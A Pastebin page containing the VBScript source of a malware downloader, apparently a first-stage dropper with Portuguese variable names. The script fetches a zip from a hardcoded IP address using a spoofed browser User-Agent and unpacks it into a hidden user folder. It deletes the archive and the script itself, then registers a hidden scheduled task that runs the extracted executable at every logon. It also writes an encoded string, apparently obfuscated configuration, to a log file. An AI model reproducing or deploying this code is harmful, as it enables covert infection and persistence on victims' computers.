Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- On Error Resume Next
- Dim pastaprogram,Lnk,nmarqx,nmarqz,resultexe
- Dim objShell
- Dim strPath
- Dim codinf
- Dim fso, msg,objFSO,objFolder
- Sub DeleteAFile(filespec)
- Dim fso
- Set fso = CreateObject("Scripting.FileSystemObject")
- fso.DeleteFile(filespec)
- End Sub
- Function geraarqinf(outFile,texto)
- Set objFSO=CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile(outFile,True)
- objFile.Write texto + vbCrLf
- objFile.Close
- End Function
- Function geratarefa(outFile,nome,nomepc,cam)
- Set objFSO=CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile(outFile,True)
- objFile.Write "<?xml version='1.0' encoding='UTF-16'?>" + vbCrLf
- objFile.Write "<Task version='1.2' xmlns='http://schemas.microsoft.com/windows/2004/02/mit/task'> " + vbCrLf
- objFile.Write "<RegistrationInfo>" + vbCrLf
- objFile.Write "</RegistrationInfo>" + vbCrLf
- objFile.Write "<Triggers> " + vbCrLf
- objFile.Write " <LogonTrigger> " + vbCrLf
- objFile.Write " <Enabled>true</Enabled> " + vbCrLf
- objFile.Write " <UserId>"+nomepc+"\"+nome+"</UserId> " + vbCrLf
- objFile.Write " </LogonTrigger>" + vbCrLf
- objFile.Write " <RegistrationTrigger>" + vbCrLf
- objFile.Write " <Enabled>false</Enabled>" + vbCrLf
- objFile.Write " </RegistrationTrigger>" + vbCrLf
- objFile.Write " </Triggers>" + vbCrLf
- objFile.Write " <Principals>" + vbCrLf
- objFile.Write " <Principal id='Author'>" + vbCrLf
- objFile.Write " <UserId>"+nomepc+"\"+nome+"</UserId> " + vbCrLf
- objFile.Write " <LogonType>InteractiveToken</LogonType>" + vbCrLf
- objFile.Write " <RunLevel>LeastPrivilege</RunLevel>" + vbCrLf
- objFile.Write " </Principal>" + vbCrLf
- objFile.Write " </Principals>" + vbCrLf
- objFile.Write "<Settings>" + vbCrLf
- objFile.Write "<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> " + vbCrLf
- objFile.Write " <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>" + vbCrLf
- objFile.Write " <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>" + vbCrLf
- objFile.Write " <AllowHardTerminate>false</AllowHardTerminate> " + vbCrLf
- objFile.Write " <StartWhenAvailable>true</StartWhenAvailable>" + vbCrLf
- objFile.Write " <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>" + vbCrLf
- objFile.Write " <IdleSettings>" + vbCrLf
- objFile.Write " <StopOnIdleEnd>true</StopOnIdleEnd>" + vbCrLf
- objFile.Write " <RestartOnIdle>false</RestartOnIdle>" + vbCrLf
- objFile.Write "</IdleSettings> " + vbCrLf
- objFile.Write " <AllowStartOnDemand>true</AllowStartOnDemand>" + vbCrLf
- objFile.Write " <Enabled>true</Enabled>" + vbCrLf
- objFile.Write " <Hidden>true</Hidden>" + vbCrLf
- objFile.Write " <RunOnlyIfIdle>false</RunOnlyIfIdle>" + vbCrLf
- objFile.Write " <WakeToRun>false</WakeToRun>" + vbCrLf
- objFile.Write "<ExecutionTimeLimit>PT0S</ExecutionTimeLimit> " + vbCrLf
- objFile.Write " <Priority>7</Priority>" + vbCrLf
- objFile.Write " </Settings>" + vbCrLf
- objFile.Write " <Actions Context='Author'>" + vbCrLf
- objFile.Write " <Exec>" + vbCrLf
- objFile.Write " <Command>"+cam+"</Command>" + vbCrLf
- objFile.Write " <Arguments></Arguments>" + vbCrLf
- objFile.Write " </Exec>" + vbCrLf
- objFile.Write " </Actions>" + vbCrLf
- objFile.Write " </Task>" + vbCrLf
- objFile.Close
- Dim objShell
- Set objShell = WScript.CreateObject ("WScript.shell")
- objShell.run "C:\Windows\System32\schtasks.exe /Create /TN "+chr(34)+nome+nomepc+chr(34)+" /xml "+chr(34)+outFile+chr(34)+""
- WScript.Sleep(5000)
- objShell.run "C:\Windows\System32\schtasks.exe /Create /TN "+chr(34)+nome+nomepc+chr(34)+" /xml "+chr(34)+outFile+chr(34)+""
- WScript.Sleep(5000)
- objShell.run "C:\Windows\System32\schtasks.exe /Create /TN "+chr(34)+nome+nomepc+chr(34)+" /xml "+chr(34)+outFile+chr(34)+""
- Set objShell = Nothing
- DeleteAFile outFile
- End Function
- Function pegaexe(pasta)
- Set oFS = CreateObject("Scripting.FileSystemObject")
- For Each File in oFS.GetFolder(pasta).Files
- If oFS.GetExtensionName(File)= "exe" Then
- resultexe = File
- Exit Function
- End If
- Next
- End Function
- Set objNet = WScript.CreateObject("WScript.Network")
- pastaprogram = "C:\Users\"+objNet.UserName+"\rjipl\"
- Function extract(FileName, Pasta)
- Dim objShell
- Dim FilesInZip
- set objShell = CreateObject("Shell.Application")
- set FilesInZip=objShell.NameSpace( FileName).items
- objShell.NameSpace(Pasta).CopyHere(FilesInZip)
- End Function
- Function SaveBinaryData(FileName, Data)
- Const adTypeText = 1
- Const adSaveCreateOverWrite = 2
- Dim BinaryStream
- Set BinaryStream = CreateObject("ADODB.Stream")
- BinaryStream.Type = adTypeText
- BinaryStream.Open
- BinaryStream.Write Data
- BinaryStream.SaveToFile FileName, adSaveCreateOverWrite
- End Function
- Set fso = CreateObject("Scripting.FileSystemObject")
- If (fso.FileExists(pastaprogram)) Then
- msg = pastaprogram + " exists."
- Else
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFolder = objFSO.CreateFolder(pastaprogram)
- Lnk = "http://177.11.50.117/rsfdsa/"
- nmarqz = pastaprogram + "jcodlyyf.zip"
- Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
- objWinHttp.open "GET", Lnk, False
- objWinHttp.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
- objWinHttp.send ""
- SaveBinaryData nmarqz,objWinHttp.responseBody
- If (fso.FileExists(nmarqz)) Then
- extract nmarqz, pastaprogram
- DeleteAFile nmarqz
- DeleteAFile WScript.scriptFullName
- pegaexe pastaprogram
- Set objNet = WScript.CreateObject("WScript.Network")
- geratarefa pastaprogram+objNet.UserName+".xml",objNet.UserName,objNet.ComputerName,resultexe
- codinf = "DFDFE4EDEBF1E4D3D9B5E0ECECE8B2A7A7A9AFAFA6A9A9A6ADA8A6A9A9AFA7E1E6DCDDF0A6E8E0E8B5D9D5D3DAB5BBD0A5A9E6BEABDBCCB5DAD5D3DBB5C8BDC1D0C1C5B5DBD5EBF0E7F0E7DAE0"
- geraarqinf pastaprogram+objNet.UserName+".log", codinf
- Else
- End If
- End If
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement